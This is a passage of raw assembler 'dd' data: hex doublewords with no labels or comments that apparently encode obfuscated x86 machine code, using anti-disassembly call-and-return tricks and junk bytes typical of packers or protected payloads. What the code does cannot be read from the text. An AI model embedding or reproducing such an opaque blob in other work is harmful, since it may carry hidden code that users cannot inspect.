dd 8DF09600h, 4838BA85h, 69B50906h, 0FF064815h, 6820FD0h
dd 89000000h, 4814958Dh, 0F5858906h, 0E9064823h, 14h, 197B8484h
dd 0FB9FA494h, 7CE9F098h, 1A20FC8Dh, 52C3088h, 0FF985C6h
dd 81430648h, 68DF97C1h, 6EFC684Eh, 9D89BC8Eh, 6483211h
dd 0ED5B5FFh, 8B660648h, 0BA858DCBh, 8B064838h, 480CB18Dh
dd 66D0FF06h, 892B69BAh, 481BE985h, 0E5958906h, 0C6064816h
dd 480FF985h, 6A4506h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1C0424h, 51410000h, 53849CC3h, 0A573854Eh, 9D293693h
dd 6480D21h, 7E9h, 0D9FF8F00h, 0D8012E4Bh, 72696968h, 55006A8Eh
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
dd 8B66181Eh, 0D5B5FFCBh, 6A06480Eh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0CB6AC351h
dd 0E9CCEE76h, 0ADBD89B0h, 8D06482Ah, 4838BA85h, 7CB65606h
dd 53D0FF5Fh, 658D8B60h, 2906480Eh, 4829798Dh, 89596106h
dd 481AD985h, 14E906h, 6C080000h, 8F7A8425h, 5F520437h
dd 57269A0h, 657EF57Eh, 85C60E57h, 6480FF9h, 35BD2344h
dd 6806480Fh, 0B8F2EC64h, 0D5B5FFF5h, 5706480Eh, 5FD18B66h
dd 1741B531h, 858D0648h, 64838BAh, 2A899589h, 0FFFC0648h
dd 57006AD0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h
dd 0C3574700h, 1E73E806h, 134C6230h, 14E879h, 0AAA30000h
dd 0A0637402h, 8D71404Dh, 4D0CDD1Fh, 75EB8474h, 0BA667588h
dd 8B5ADE60h, 4831B5BDh, 0ED858906h, 81064805h, 6C8B65EFh
dd 7E95702h, 0A2000000h, 198926Eh, 0C65982E2h, 480FF985h
dd 0BD014306h, 6480DF1h, 764AA768h, 0D58D89C0h, 0FF06481Ah
dd 480ED5B5h, 66F98B06h, 858DC88Bh, 64838BAh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 62C35040h, 9C23B7EDh
dd 0E9D6ADC3h, 11h, 0C6B49F57h, 0F50AA1E2h, 88CEDF62h
dd 97041AE4h, 66D0FFBCh, 890B0FBAh, 48177D85h, 80D38A06h
dd 4AF86BBDh, 840F0006h, 159h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 16h, 0ECC35545h, 858D3653h, 64AF84Dh
dd 0FB8B6660h, 0F6150B5h, 8B50FEBFh, 4815F9BDh, 6A016A06h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h
dd 40000000h, 0DB93C350h, 0DC9DDE13h, 2B41EDDCh, 4814218Dh
dd 9870F06h, 60000000h, 6ED98166h, 61F6B495h, 6A006Ah
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 42C35242h
dd 0C195315Eh, 0BF06480Dh, 765272F6h, 2FF5BD89h, 95FF0648h
dd 64812E9h, 2AE58D89h, 11E90648h, 2E000000h, 42BB70BCh
dd 0C8811C02h, 36F9AF8h, 0BAF9F008h, 2B5D8589h, 958B0648h
dd 6480D59h, 297D8D8Bh, 0FF6A0648h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 17h, 0C9C35646h, 891E9D40h, 4827518Dh
dd 0CDBD8B06h, 0FF064819h, 482B5DB5h, 57006A06h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
dd 0AC23473Ah, 32F1BD8Bh, 95FF0648h, 64810D9h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 4CC35747h, 8EFBE533h
dd 14CF8166h, 0FC08B00h, 0A8Fh, 48E0F00h, 66000000h, 83FD37BAh
dd 481299BDh, 9750006h, 0D35BD83h, 74000648h, 8B535019h
dd 7D1B8C0h, 85890000h, 64829B9h, 0A4649D8Dh, 0D3FF064Ah
dd 0BD83585Bh, 6480D35h, 50177400h, 7D1B853h, 85890000h
dd 64829B9h, 0A1539D8Dh, 0D3FF064Ah, 9D89585Bh, 64814F5h
dd 18299D09h, 0C08B0648h, 32C1958Bh, 85C60648h, 6480FF9h
dd 50006A47h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h
dd 0C3504000h, 0B9970C1Fh, 1CB01C39h, 0C8F7C168h, 1D30B993h
dd 0B5FF46E1h, 6480ED5h, 8DA8166h, 0BA858D30h, 0E8064838h
dd 0Ch, 0C2D9B9Dh, 17167FBDh, 296725A1h, 0D0FF5AFCh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 16h, 83C35040h, 6A50B144h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h
dd 41000000h, 24DC351h, 0B816666Dh, 8E858DD1h, 0C7064AFCh
dd 9400h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1A04h, 0C3514100h, 0F6EFF0EEh, 898C5928h, 481379B5h
dd 5E96006h, 0D9000000h, 242FB436h, 12D9589h, 58610648h
dd 27058D01h, 0B58D0648h, 64AFC8Eh, 1218D8Bh, 8B560648h
dd 482FD9BDh, 0E8D0FF06h, 7, 38FFA8DAh, 8169A9BEh, 51F3B5DFh
dd 858D5925h, 64AFC8Eh, 0D319589h, 78830648h, 850F0604h
dd 2Eh, 0AE8h, 154D5F00h, 0B018ADE5h, 0E9F9A44Eh, 9, 6931BC25h
dd 0E66212D1h, 85C75FC3h, 64AFD22h, 1, 11B58D03h, 0BD830648h
dd 6480691h, 6D850F00h, 0E9000000h, 9, 5F8B90C0h, 124CD3E3h
dd 22BD832Fh, 64AFDh, 52850Fh, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 67473EC3h
dd 9BAAD27Bh, 0F9A3F40h, 481h, 0CAB96600h, 0D9BD83CBh
dd 6482Bh, 16840Fh, 0BD890000h, 6480E75h, 2EED85C7h, 648h
dd 0E9810000h, 390D7F1Ch, 0E9DB8C66h, 0Ah, 0D6160CF0h
dd 58DAA226h, 0C3F6CF1Eh, 0A840F04h, 0F000005h, 9529FEB7h
dd 6482AF1h, 30E585C7h, 648h, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 150424h, 57470000h, 8000C7C3h
dd 4AF878BDh, 850F0006h, 6, 2BD58D89h, 85C60648h, 6480FF9h
dd 0AE947h, 62EC0000h, 4756C630h, 2C013A8Fh, 0E45B8668h
dd 56006AE3h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h
dd 0C3564600h, 40C3C1E1h, 419529D7h, 0FF06482Ch, 480ED5B5h
dd 6890F06h, 81000000h, 0A161EE1h, 0BA858D63h, 8B064838h
dd 48276D95h, 0BAD0FF06h, 6A986864h, 10468h, 919D0900h
dd 8D06480Bh, 48188D9Dh, 53CF8B06h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 15h, 2BC35141h, 8E803h, 0C6220000h
dd 0CB4C3A30h, 0C6801320h, 0D0FF5F30h, 6E960h, 8CD0000h
dd 11E5416Ah, 61F78B66h, 0D88A4FB9h
dd 8D858D09h, 0BA064818h, 3214072h, 0CE950h, 0F1A00000h
dd 0DBBCC7DFh, 450B3DCAh, 858DDF45h, 64AF82Ah, 6650F08Ah
dd 8D45EDBAh, 4AEEFD85h, 0F575006h, 0FF5FFBBFh, 48286195h
dd 0CC48306h, 1211B589h, 6A0648h, 8068h, 6A036A00h, 68006A00h
dd 80000000h, 0EEFD858Dh, 0FF50064Ah, 481BE995h, 0D858906h
dd 0C6064AF8h, 480FF985h, 87684706h, 0FFC7B15Eh, 480ED5B5h
dd 0BA858D06h, 0FF064838h, 0FF006AD0h, 4AF80DB5h, 0F8D0FF06h
dd 85958Bh, 0D03D0648h, 0F000037h, 2983h, 0C9B58900h, 0FF064811h
dd 4AF80DB5h, 0D1BD8B06h, 8B064810h, 4821C18Dh, 7D95FF06h
dd 0E9064817h, 118h, 15698589h, 0B5FF0648h, 64AF80Dh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0DFC35040h, 5B8046C3h
dd 56E8B419h, 869958Bh, 0FF5F0648h, 48177D95h, 6AD78B06h
dd 11958900h, 6A064814h, 0D7816600h, 6A9AF4h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 2BC35646h, 6C82A419h
dd 6A3C4667h, 9E900h, 8C970000h, 59D75859h, 6A4DE381h
dd 9E900h, 0CEA50000h, 5B010336h, 8940BF68h, 4827E5BDh
dd 6A006A06h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 16042444h, 47000000h, 5683C357h, 11858D5Ah, 81064AF8h
dd 9C12FCD1h, 95FF5027h, 6481BE9h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Dh, 87C35545h, 10A2B48Bh, 0F1F6B64Ah
dd 13E9D5h, 0AAF30000h, 0C4C7F7F2h, 971EF0B7h, 33DE1126h
dd 0EAB8A9DFh, 0FFF88320h, 13B850Fh, 0B5890000h, 6481269h
dd 0B39D858Dh, 0B501064Ah, 648101Dh, 0E6B2D0FFh, 0BD8B006Ah
dd 6480801h, 6A006Ah, 68B0Fh, 958B0000h, 64831B1h, 718D8Bh
dd 6A0648h, 8531006Ah, 6482E79h, 6A25C580h, 0CCBA6600h
dd 11858DCAh, 0F064AF8h, 81h, 0E9805000h, 0E995FFE9h, 6A06481Bh
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h
dd 46000000h, 4A87C356h, 6AB96613h, 0FFF88349h, 0B3850Fh
dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
dd 56460000h, 82B9C3C3h, 0D11A7B6Fh, 0F219B58Dh, 6A064Ah
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
dd 344D4CC3h, 278B586Dh, 8D8985D6h, 6481CADh, 9DC7858Dh
dd 0BD89064Ah, 64832ADh, 8B66D0FFh, 6A006AFBh, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
dd 76F7C352h, 958B3C72h, 6480F61h, 1AD995FFh, 6A0648h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
dd 65DC54C3h, 0BF0FCADDh, 0D8589F8h, 6A064AF8h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
dd 0A45FC352h, 7484DFB8h, 6AC4B5BDh, 8DFAB500h, 4AF80585h
dd 0EE906h, 0A3D50000h, 48402EA8h, 0E777B9BEh, 8BEAA558h
dd 0DD858950h, 6A064830h, 8DD18B04h, 48182D85h, 2D850106h
dd 5006481Ch, 12E9h, 568A8B00h, 0C9474053h, 2F4A9B64h
dd 2D885D1Ah, 0FC403CBh, 684h, 918D8900h, 6A064829h, 0B4C78100h
dd 6A191740h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1904h, 0C3564600h, 53A66BA5h, 16AF510h, 0FFD7B70Fh
dd 4AF80DB5h, 95FFF906h, 64805EDh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 17h, 0E2C35040h, 0F820F36h, 582h
dd 0EA816600h, 0EE909EDh, 6600001Eh, 8BC7ADBAh, 481F09BDh
dd 1C08B06h, 482F6595h, 0CE806h, 52090000h, 135F7BD2h
dd 55A28302h, 0B5893B8Dh, 6481625h, 99BD835Fh, 64812h
dd 0BD830975h, 6480D35h, 50197400h, 0B8C08B53h, 7D2h, 29B98589h
dd 9D8D0648h, 64AA464h, 585BD3FFh, 0D35BD83h, 74000648h
dd 0B8535017h, 7D2h, 29B98589h, 9D8D0648h, 64AA153h, 585BD3FFh
dd 0A030BA66h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 18h, 3FC35646h, 0A6A830Ah, 6AC08Bh, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 150424h, 55450000h, 80530CC3h
dd 85C7DBE6h, 64830E5h, 1, 0CA8166F8h, 0B868CB99h, 0FFCEE4E7h
dd 4827C5B5h, 0BA858D06h, 0FF064838h, 798589D0h, 68064800h
dd 0C005DBD4h, 27C5B5FFh, 858D0648h, 64838BAh, 8589D0FFh
dd 6481621h, 0ECB6858Dh, 0FF50064Ah, 480ED5B5h, 1D95FF06h
dd 0B064809h, 8B0B74C0h, 69858DD8h, 50064AFCh, 858DD3FFh
dd 64AFC69h, 9388366h, 85C70A75h, 64808BDh, 1, 23F595FFh
dd 0FF250648h, 83000000h, 0A7305F8h, 9DD85C7h, 10648h
dd 0E8F50000h, 0Bh, 99945C1Fh, 0D499129h, 0E98E97B6h, 7
dd 0D9A1C3F0h, 5F08F255h, 0D99BD8Bh, 0BD800648h, 64AF878h
dd 0D850F00h, 8B000000h, 1C87E9CBh, 0BD2B0000h, 6482F45h
dd 8BDBD83h, 0F000648h, 11385h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 862EF6FDh
dd 9E05D2ACh, 42858DA0h, 6A064AF8h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0FCFFC355h
dd 0A95BF03Ah, 6E9CCh, 0FCF20000h, 2026B4BFh, 8B5011B2h
dd 4805E995h, 6A016A06h, 0F98D8900h, 8B064802h, 4823BD95h
dd 0BF006A06h, 2DCB86A2h, 12E995FFh, 8D8B0648h, 6481AD5h
dd 0F86C8589h, 6A064Ah, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1B0424h, 50400000h, 9637C1C3h, 3DAB63EDh, 0D0B70F62h
dd 6739F181h, 0FF6A1EF8h, 0B5FF17B5h, 64AF86Ch, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 2FC35646h, 0AF4E5D58h
dd 16577D4Fh, 10D995FFh, 6A0648h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1C0424h, 53430000h, 0E4EFAC3h, 217E9903h
dd 0BD01857Ch, 6481335h, 0EC7D858Dh, 6A064Ah, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 14428DC3h
dd 0E4ED9185h, 0BD29F8E9h, 64827F1h, 958B50F9h, 64816C9h
dd 19ED95FFh, 85890648h, 64AED07h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 18h, 5CC35646h, 1BE3A7E7h, 0F9BF0F57h
dd 8A858D5Ah, 6A064AECh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 15042444h, 42000000h, 17A2C352h, 14E8h, 0AFF11000h
dd 8B22A6C8h, 66013441h, 0DF7C53B2h, 24F2F978h, 958B6032h
dd 6482361h, 59615857h, 0C45B589h, 0F500648h, 68Ah, 0B7C78100h
dd 0FF1F905Dh, 4AED07B5h, 0CF816606h, 95FF4A2Ch, 648091Dh
dd 10E9h, 0ACA56200h, 0CDD457FBh, 20EB115Dh, 5FCCA4F3h
dd 3185893Ah, 8B064807h, 0F8858DFAh, 66064AECh, 0BD8BD08Bh
dd 6480D59h, 56006A50h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1704h, 0C3564600h, 1A7075E3h, 48C762B9h, 7B5FF59h, 0FF064AEDh
dd 48091D95h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1D04h, 0C3514100h, 0ED8D9FA6h, 0C55174C8h
dd 8D89E7D5h, 6481155h, 0ED1B8589h, 0F580064Ah, 0D7858DDAh
dd 0E9064AECh, 0Ch, 3BBEBA6Ch, 60D564D3h, 0AB19A824h, 50CB8B66h
dd 22F98D31h, 8E0F0648h, 6, 0BF4DDF81h, 0B5FF31DBh, 64AED07h
dd 33598D89h, 85890648h, 6480229h, 91D95FFh, 95290648h
dd 6481A5Dh, 0ED138589h, 0BD29064Ah, 6481779h, 28E9BD89h
dd 858D0648h, 64AECCAh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 17h, 3EC35141h, 8A30B205h, 258589D4h, 50064813h
dd 7B5FFF9h, 0F064AEDh, 95FFFFB7h, 648091Dh, 28998D8Bh
dd 0BD0B0648h, 648203Dh, 0ED178589h, 0BD8B064Ah, 6480121h
dd 0ECE5858Dh, 4FBA064Ah, 890DCA6Bh, 48273D95h, 0BA665006h
dd 0B5FFC8B6h, 64AED07h, 7E8h, 61E4E500h, 0E4FA6AD3h, 71DF8166h
dd 95FF5900h, 648091Dh, 0E43986B9h, 85858945h, 56064812h
dd 78E28166h, 858D5A82h, 64AEC99h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 14h, 63C35747h, 29C9BD8Bh, 0F500648h
dd 82h, 7B5FF00h, 0FF064AEDh, 48091D95h, 57006A06h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
dd 8938D97Ah, 4AED0B85h, 0D78B6606h, 0ECA8858Dh, 50FC064Ah
dd 13499D89h, 0B5FF0648h, 64AED07h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 18h, 2C35040h, 48F4D072h, 2705BD8Bh
dd 0BD8B0648h, 6480E31h, 91D95FFh, 0E9510648h, 5, 0A97FF60Ch
dd 830F5918h, 3, 89FFBF0Fh, 4AED0F85h, 0FFD28006h, 10468h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h
dd 0C3564600h, 95A09BCAh, 8608892Bh, 858D0756h, 64AED9Fh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 2EC35040h
dd 0AEE13742h, 5245466Eh, 9E8h, 0D4087700h, 0CBAD56BCh
dd 6E9B583h, 0A5000000h, 4ADD949h, 29505990h, 482C3995h
dd 0A3858D06h, 0F064AEEh, 0BE9FEBFh, 0D4000000h, 1BFED542h
dd 25400106h, 8950B710h, 4816D995h, 0D98D2906h, 0FF06482Fh
dd 4832A595h, 0C085F506h, 0A850Fh, 57520000h, 0D59BD8Bh
dd 5A5A0648h, 0F878BD80h, 0F00064Ah, 1A85h, 0D2BF0F00h
dd 1774E9h, 0DE900h, 0D040000h, 0D3AE2CC3h, 0EF497369h
dd 836A41E9h, 4808BDBDh, 850F0006h, 16h, 282DBD2Bh, 0BD830648h
dd 64AFD22h, 23840F00h, 0F000000h, 858DD6BFh, 64AED3Ch
dd 2840F57h, 0B2000000h, 2AE95F81h, 31000017h, 480F819Dh
dd 8E906h, 858D0000h, 64AED27h, 8B50D08Bh, 9F858DD3h, 6A064AEDh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h
dd 43000000h, 65BC353h, 41016941h, 8D8B08D2h, 6482EC5h
dd 57006A50h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h
dd 0C3574700h, 94B09ED5h, 58F0F8Dh, 0B9000000h, 5FB95205h
dd 0BE9h, 0ACF01500h, 1AF25F14h, 0DCB239C2h, 8BDBD83h
dd 0F000648h, 4C84h, 0F8D38B00h, 0EEC5858Dh, 6A064Ah, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
dd 0A124B7C3h, 50E9EBF4h, 0E8000000h, 11h, 722EEAC6h, 0CBE05984h
dd 0A1B185F4h, 84E23BFFh, 0BAFCBF49h, 0B6592FABh, 0AE858D24h
dd 6A064AEEh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 18042444h, 47000000h, 56D0C357h, 30E3259h, 481441BDh
dd 5DE18106h, 504CCA6Dh, 0B617DA81h, 858D029Ch, 64AEEFDh
dd 50E18166h, 0BA6650DDh, 95FFC61Eh, 6482861h, 83D0B70Fh
dd 7E910C4h, 0BC000000h, 4682C654h, 0C08BEFE1h, 0AE9h
dd 0BBF57D00h, 0FA9C6CD1h, 83839E26h, 481299BDh, 9750006h
dd 0D35BD83h, 74000648h, 8B535019h, 7D3B8C0h, 85890000h
dd 64829B9h, 0A4649D8Dh, 0D3FF064Ah, 0BD83585Bh, 6480D35h
dd 50177400h, 7D3B853h, 85890000h, 64829B9h, 0A1539D8Dh
dd 0D3FF064Ah, 0BF0F585Bh, 3800FFEh, 80000000h, 8E8CEDAh
dd 0A3000000h, 0A30C0B7Eh, 892F6391h, 4812D585h, 0C08B5906h
dd 0E019533h, 0BD810648h, 64AED27h, 6165726Fh, 0CE840Fh
dd 0BD8B0000h, 64808EDh, 0ED9F858Dh, 8D50064Ah, 4AEEDC85h
dd 858D5006h, 64AEEFDh, 6195FF50h, 83064828h, 85C60CC4h
dd 6480FF9h, 184F6844h, 0B5FF96A3h, 6480ED5h, 38BA858Dh
dd 0D0FF0648h, 858DD88Bh, 64AEEFDh, 8DD3FF50h, 4AED2785h
dd 858D5006h, 64AED9Fh, 0BDBD8350h, 64808h, 858D0874h
dd 64AEEC5h, 858D06EBh, 64AEEAEh, 0FD858D50h, 50064AEEh
dd 286195FFh, 0C4830648h, 53006A10h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 0CBEA6513h
dd 0FF8BCF6h, 1382h, 0EE900h, 31010000h, 1EF13134h, 0C4E928A6h
dd 0A8097DE1h, 1DB58B60h, 8B064802h, 481EE595h, 0BD8B6106h
dd 6481FA1h, 23F595FFh, 0C88B0648h, 0FF25h, 5800F00h, 66000000h
dd 0F9A1EF81h, 0F05F883h, 7783h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0CDDCBC3Ah
dd 0C28BF5h, 39BD8BB4h, 3064800h, 4828A58Dh, 0DD85C706h
dd 1064809h, 89000000h, 4830A58Dh, 5B858D06h, 81064AEDh
dd 930350F7h, 0EE84Ah, 74360000h, 0E44F20B7h, 0BBF14443h
dd 1D23061Dh, 1298D8Bh, 0E9590648h, 67h, 7E9h, 0BDEEE900h
dd 3B22F619h, 8BDBD83h, 0F000648h, 1F84h, 259D2900h, 8D064807h
dd 4AED8685h, 37BF6606h, 88D2819Dh, 0E92B04EAh, 33h, 8630BF66h
dd 0ED68858Dh, 6A064Ah, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1B0424h, 50400000h, 5EFB15C3h, 1F9DF327h, 6195892Dh
dd 8906482Fh, 4AED9B85h, 0B9BD8B06h, 8B06481Fh, 480E5195h
dd 0BDBD8306h, 64808h, 15850Fh, 0F2810000h, 0BA87938h
dd 0BD83D48Ah, 64AFD22h, 0A840F00h, 0E9000000h, 1361h
dd 88D18166h, 55CE93Ch, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1A0424h, 53430000h, 0F120F9C3h, 7B3A095Fh
dd 197849B9h, 6AC08B3Fh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 19042444h, 40000000h, 0E633C350h, 0B44DCC72h
dd 3841EBBAh, 99BD836Ch, 64812h, 0BD830975h, 6480D35h
dd 50197400h, 0B8C08B53h, 7D4h, 29B98589h, 9D8D0648h, 64AA464h
dd 585BD3FFh, 0D35BD83h, 74000648h, 0B8535017h, 7D4h, 29B98589h
dd 9D8D0648h, 64AA153h, 585BD3FFh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Dh, 92C35747h, 8514428Dh, 0E9E4ED91h
dd 0E4B966F8h, 0C810F13h, 0F000000h, 687h, 20CA8100h, 8B0502C6h
dd 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h
dd 0C3554500h, 0A21847Ah, 0BFD9175h, 81662E85h, 683BDFEFh
dd 0F003Fh, 3365958Bh, 0D0B10648h, 8529006Ah, 6482011h
dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
dd 52420000h, 1BE467C3h, 95FF2084h, 6480731h, 2A818589h
dd 0C0850648h, 6850Fh
dd 95890000h, 64812C9h, 0ED1F8589h, 78B1064Ah, 8052006Ah
dd 0FC5F68EAh, 8166006Ah, 6A8BEDC2h, 0D2B70F00h, 6A006Ah
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
dd 547BCC3h, 0BAF48AF1h, 0F2BF6676h, 6A006AA8h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
dd 0B1C9C350h, 29BD29BDh, 81064803h, 7E6255D9h, 29B5894Bh
dd 8D06481Ah, 4AEEFD85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1A04h, 0C3564600h, 0B20230FEh, 50CA3677h
dd 6E8h, 0DF0AD300h, 60BC1FA6h, 8E9h, 0F8176700h, 0E3B63133h
dd 0AEB86618h, 6A5F61A1h, 57006A01h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 61B5894Ah
dd 8B06480Dh, 481B6195h, 1016A06h, 4808098Dh, 6A016A06h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h
dd 45000000h, 0FCD0C355h, 0FA2CAF95h, 0E8D68356h, 13h
dd 6F6E89A9h, 4E084197h, 6130F36Ch, 68366567h, 66DD99F0h
dd 52DDE181h, 1FF685Ah, 9529000Fh, 6483101h, 8BDBD83h
dd 0F000648h, 4F84h, 0B5958B00h, 8D064810h, 4AED7C85h
dd 4AE906h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1A0424h, 56460000h, 8543B3C3h, 0F9F58BD6h, 10E8h, 0EF4A5B00h
dd 5CED99A0h, 84D35BC2h, 0B4D13398h, 49958BA0h, 5F064808h
dd 0ED52858Dh, 8D8B064Ah, 64832D5h, 51006A50h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1704h, 0C3514100h, 2B2D68C9h
dd 0E950FE8Bh, 0Ah, 79F363F5h, 0D2514B3Ah, 0B5FFCDB8h
dd 64AED1Fh, 17C5B529h, 95FF0648h, 64AED0Bh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 75C35141h, 952BAFFFh
dd 6481289h, 850FC085h, 2Ah, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 14h, 82C35343h, 821BD8Bh, 5CE90648h
dd 0F000000h, 8589C8BFh, 64AED23h, 0C9BF0FF8h, 0ED23B5FFh
dd 0C180064Ah, 8595FF79h, 8A064812h, 0FC085D5h, 3685h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h
dd 0C3564600h, 990A3D43h, 12E9h, 8AF0A300h, 65CCAA8Dh
dd 0CBC9E4CDh, 90E1C10Fh, 6AB64522h, 8B665010h, 0BD835ACBh
dd 64808BDh, 5B840F00h, 0E9000000h, 12h, 0A117167Fh, 0C7296725h
dd 0A0187D96h, 8EF69DE8h, 858D8829h, 64AED7Ch, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 19h, 80C35040h, 65EA7746h
dd 9D958B1Bh, 5706481Ch, 1B818D8Bh, 665F0648h, 0E57BD981h
dd 11E9h, 0F2816600h, 858DF3B1h, 64AED52h, 0AC3DA81h, 81507C66h
dd 458A20F1h, 1FB5FF3Dh, 0F064AEDh, 685h, 61BD8B00h, 0FF064829h
dd 4AED1795h, 0FD8D8B06h, 8506480Dh, 6850FC0h, 89000000h
dd 48284195h, 23858906h, 3064AEDh, 4803DD95h, 0F9006A06h
dd 3870Fh, 8B660000h, 81006ACAh, 3FD2C2CAh, 23B5FF5Dh
dd 89064AEDh, 482941B5h, 0F95FF06h, 81064AEDh, 3322C4EAh
dd 0FC08575h, 5D85h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1C04h, 0C3574700h, 0B2E211C2h, 0FF1B9D17h
dd 0DE8F5h, 0A3900000h, 0EA5501F5h, 0B50EE8DBh, 8B248726h
dd 483029BDh, 14E85A06h, 13000000h, 451F85A2h, 0BDD9F921h
dd 7DAA246Ah, 0DFD97B44h, 33B1E9FFh, 48145D95h, 0B5FF5A06h
dd 64AED23h, 0CAC18166h, 8595FF08h, 66064812h, 855544B9h
dd 7850FC0h, 51000000h, 7E18166h, 6A5997h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0EFC35040h, 813D4D77h
dd 0AC62F1D9h, 75BD8B7Ah, 6006481Bh, 6660F98Bh, 0BD29D78Bh
dd 6482FFDh, 80686161h, 66000000h, 36AF88Bh, 6C9B589h
dd 6A0648h, 0EE8h, 51AE5A00h, 70C773BFh, 0B7B0775Ch, 892D798Ch
dd 4803BD9Dh, 6A5A06h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 19h, 0D1C35545h, 0EC9CFE1Ch, 11BD098Bh, 68064808h
dd 0C0000000h, 329B589h, 0B5FF0648h, 64AED9Bh, 68E0Fh
dd 958B0000h, 6480971h, 1BE995FFh, 0D08B0648h, 0FFFF883h
dd 5EA85h, 0FF24B100h, 4AF80985h, 1D1FBA06h, 0BD3316DBh
dd 6480765h, 0F809BD83h, 0F02064Ah, 47B84h, 4D9D0100h
dd 8D06481Bh, 5AF59F85h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1804h, 0C3524200h, 0F2CF00E3h, 19B5892Ah
dd 8B064800h, 480909BDh, 8AD0FF06h, 0F2858DE8h, 80005AEFh
dd 0D0FFB2C5h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Dh, 28C35242h, 99A25F84h, 0B3E6D27Fh, 0D68B66B5h, 0FE8C08Bh
